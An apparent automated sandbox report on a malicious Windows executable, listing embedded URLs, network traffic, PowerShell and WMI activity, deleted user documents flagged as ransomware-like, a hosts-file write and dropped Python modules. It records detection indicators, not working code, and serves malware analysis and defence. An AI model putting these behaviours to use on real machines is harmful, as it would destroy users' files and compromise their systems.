Source: KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2646596317.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2623954278.000000000759F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2617408456.0000000007672000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007672000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2636804800.000000000759F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon-196x196.2af054fea211.png
Source: KpHYfxnJs6.exe, 00000004.00000003.2652879260.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684053799.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621368120.0000000007337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: KpHYfxnJs6.exe, 00000004.00000003.2651924922.0000000007A42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: KpHYfxnJs6.exe, 00000004.00000003.2679930473.000000000AB50000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684913468.0000000009830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2897045196.000000006BF0F000.00000004.00000001.01000000.00000012.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2897932299.000000006C159000.00000004.00000001.01000000.00000011.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: KpHYfxnJs6.exe, 00000004.00000003.2461660455.0000000004E53000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2461744604.0000000004E47000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2461580461.0000000004E47000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2885247505.0000000007240000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: KpHYfxnJs6.exe, 00000004.00000002.2898642505.000000006C67B000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: KpHYfxnJs6.exe, KpHYfxnJs6.exe, 00000004.00000003.2484058044.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2886740253.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2621613704.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484185809.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2602474054.0000000007605000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2880087065.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2629341619.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2674550956.000000000762D000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2598446377.00000000075A4000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2485343382.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743962657.0000000007628000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2677988442.000000000762E000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2743181116.00000000075A7000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2652879260.000000000762F000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484414365.00000000075F6000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2484992924.0000000007616000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2684053799.0000000007628000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: KpHYfxnJs6.exe, 00000004.00000002.2891396339.00000000079D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: KpHYfxnJs6.exe, 00000004.00000002.2894662678.00000000080D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: KpHYfxnJs6.exe, 00000004.00000002.2895031022.0000000009770000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: KpHYfxnJs6.exe, 00000004.00000003.2603116149.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000002.2884329550.0000000004E45000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2881336814.0000000004E43000.00000004.00000020.00020000.00000000.sdmp, KpHYfxnJs6.exe, 00000004.00000003.2744996096.0000000004E44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? \Common Files\Desktop\KATAXZVCPS.png	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? \Common Files\Desktop\XZXHAVGRAG.docx	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? \Common Files\Desktop\LTKMYBSEYZ.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? \Common Files\Desktop\KZWFNRXYKI.mp3	Jump to behavior
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? \Common Files\Desktop\KZWFNRXYKI.pdf	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: cmd.exe

Process created: 79

System Summary

PE file contains section with special chars

Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:
Source: KpHYfxnJs6.exe	Static PE information: section name:

Writes or reads registry keys via WMI

Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\SysWOW64\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA43A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

109_2_00007FF6FAA43A70

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe

Code function: 109_2_00007FF6FAA6B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

109_2_00007FF6FAA6B57C

Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_0767AF63	4_3_0767AF63
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_0767AF63	4_3_0767AF63
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_0767837F	4_3_0767837F
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_076781F7	4_3_076781F7
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_0767AF63	4_3_0767AF63
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_0767AF63	4_3_0767AF63
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_0767837F	4_3_0767837F
Source: C:\Users\user\Desktop\KpHYfxnJs6.exe	Code function: 4_3_076781F7	4_3_076781F7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_04E2B560	14_2_04E2B560
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_04E2B551	14_2_04E2B551
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_08EB3A08	14_2_08EB3A08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 70_2_041E7070	70_2_041E7070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 70_2_041E7080	70_2_041E7080
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 70_2_07E11967	70_2_07E11967
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 70_2_07E11968	70_2_07E11968
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2ABA0	109_2_00007FF6FAA2ABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA30A2C	109_2_00007FF6FAA30A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA57B24	109_2_00007FF6FAA57B24
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA4AE10	109_2_00007FF6FAA4AE10
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA354C0	109_2_00007FF6FAA354C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA31180	109_2_00007FF6FAA31180
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA282F0	109_2_00007FF6FAA282F0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA21884	109_2_00007FF6FAA21884
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2B540	109_2_00007FF6FAA2B540
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA38C30	109_2_00007FF6FAA38C30
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA64B38	109_2_00007FF6FAA64B38
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA79B98	109_2_00007FF6FAA79B98
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA50D20	109_2_00007FF6FAA50D20
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA76D0C	109_2_00007FF6FAA76D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA49D0C	109_2_00007FF6FAA49D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2DD04	109_2_00007FF6FAA2DD04
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA65C8C	109_2_00007FF6FAA65C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA249B8	109_2_00007FF6FAA249B8
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA669FD	109_2_00007FF6FAA669FD
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA4D97C	109_2_00007FF6FAA4D97C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA8AAC0	109_2_00007FF6FAA8AAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2CB14	109_2_00007FF6FAA2CB14
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA5FA6C	109_2_00007FF6FAA5FA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA65A70	109_2_00007FF6FAA65A70
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA64FE8	109_2_00007FF6FAA64FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA8DFD8	109_2_00007FF6FAA8DFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA33030	109_2_00007FF6FAA33030
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA5C00C	109_2_00007FF6FAA5C00C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA55F4C	109_2_00007FF6FAA55F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA8AF90	109_2_00007FF6FAA8AF90
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA800F0	109_2_00007FF6FAA800F0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA40104	109_2_00007FF6FAA40104
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA50074	109_2_00007FF6FAA50074
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA4C05C	109_2_00007FF6FAA4C05C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA58040	109_2_00007FF6FAA58040
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA71DCC	109_2_00007FF6FAA71DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2EE08	109_2_00007FF6FAA2EE08
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA31E04	109_2_00007FF6FAA31E04
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA69D74	109_2_00007FF6FAA69D74
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA5AF0C	109_2_00007FF6FAA5AF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA29EFC	109_2_00007FF6FAA29EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA38E68	109_2_00007FF6FAA38E68
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA7FE74	109_2_00007FF6FAA7FE74
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA6AE50	109_2_00007FF6FAA6AE50
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA6EEA4	109_2_00007FF6FAA6EEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2CE84	109_2_00007FF6FAA2CE84
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA4C3E0	109_2_00007FF6FAA4C3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA50374	109_2_00007FF6FAA50374
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA32360	109_2_00007FF6FAA32360
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2A504	109_2_00007FF6FAA2A504
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA65468	109_2_00007FF6FAA65468
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA4D458	109_2_00007FF6FAA4D458
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA681CC	109_2_00007FF6FAA681CC
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA841CC	109_2_00007FF6FAA841CC
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA3E21C	109_2_00007FF6FAA3E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA62164	109_2_00007FF6FAA62164
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA242E0	109_2_00007FF6FAA242E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA3D2C0	109_2_00007FF6FAA3D2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA7832C	109_2_00007FF6FAA7832C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA71314	109_2_00007FF6FAA71314
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA72268	109_2_00007FF6FAA72268
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA2F24C	109_2_00007FF6FAA2F24C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA47244	109_2_00007FF6FAA47244
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA602A4	109_2_00007FF6FAA602A4
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA467E0	109_2_00007FF6FAA467E0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA317C8	109_2_00007FF6FAA317C8
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA538E8	109_2_00007FF6FAA538E8
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA5D91C	109_2_00007FF6FAA5D91C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA6190C	109_2_00007FF6FAA6190C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA50904	109_2_00007FF6FAA50904
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA718A8	109_2_00007FF6FAA718A8
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA32890	109_2_00007FF6FAA32890
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA28884	109_2_00007FF6FAA28884
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA7260C	109_2_00007FF6FAA7260C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA565FC	109_2_00007FF6FAA565FC
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA4F5B0	109_2_00007FF6FAA4F5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA38598	109_2_00007FF6FAA38598
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA5F59C	109_2_00007FF6FAA5F59C
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA886D4	109_2_00007FF6FAA886D4
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA386C4	109_2_00007FF6FAA386C4
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA5A710	109_2_00007FF6FAA5A710
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA60710	109_2_00007FF6FAA60710
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA62700	109_2_00007FF6FAA62700
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: 109_2_00007FF6FAA77660	109_2_00007FF6FAA77660

Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: String function: 00007FF6FAA649F4 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\_MEI73202\rar.exe	Code function: String function: 00007FF6FAA38444 appears 48 times

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: KpHYfxnJs6.exe	Binary or memory string: OriginalFilename vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2048545047.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2051539715.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2049199984.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2051232458.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2049126922.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2048677870.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2048894241.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000000.1669173285.000000000043F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameverifiergui.exej% vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2048387403.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.1672821995.0000000004DE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameverifiergui.exej% vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2048263051.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2049009582.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000002.2910567037.000000000043B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameverifiergui.exej% vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2051327825.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2050368927.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2048772662.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000000.00000003.2048117788.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2902511087.000000006F875000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2900967106.000000006F81F000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2904354271.000000006F8E6000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2882901665.000000000043B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameverifiergui.exej% vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2900318548.000000006F80B000.00000004.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000003.2056060266.0000000000190000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameverifiergui.exej% vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000000.2052256038.000000000043F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameverifiergui.exej% vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2896645946.000000006BE78000.00000004.00000001.01000000.00000015.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2898540098.000000006C2B4000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2905154634.000000006F90E000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs KpHYfxnJs6.exe
Source: KpHYfxnJs6.exe, 00000004.00000002.2897045196.000000006BF0F000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamelibsslH vs KpHYfxnJs6.exe
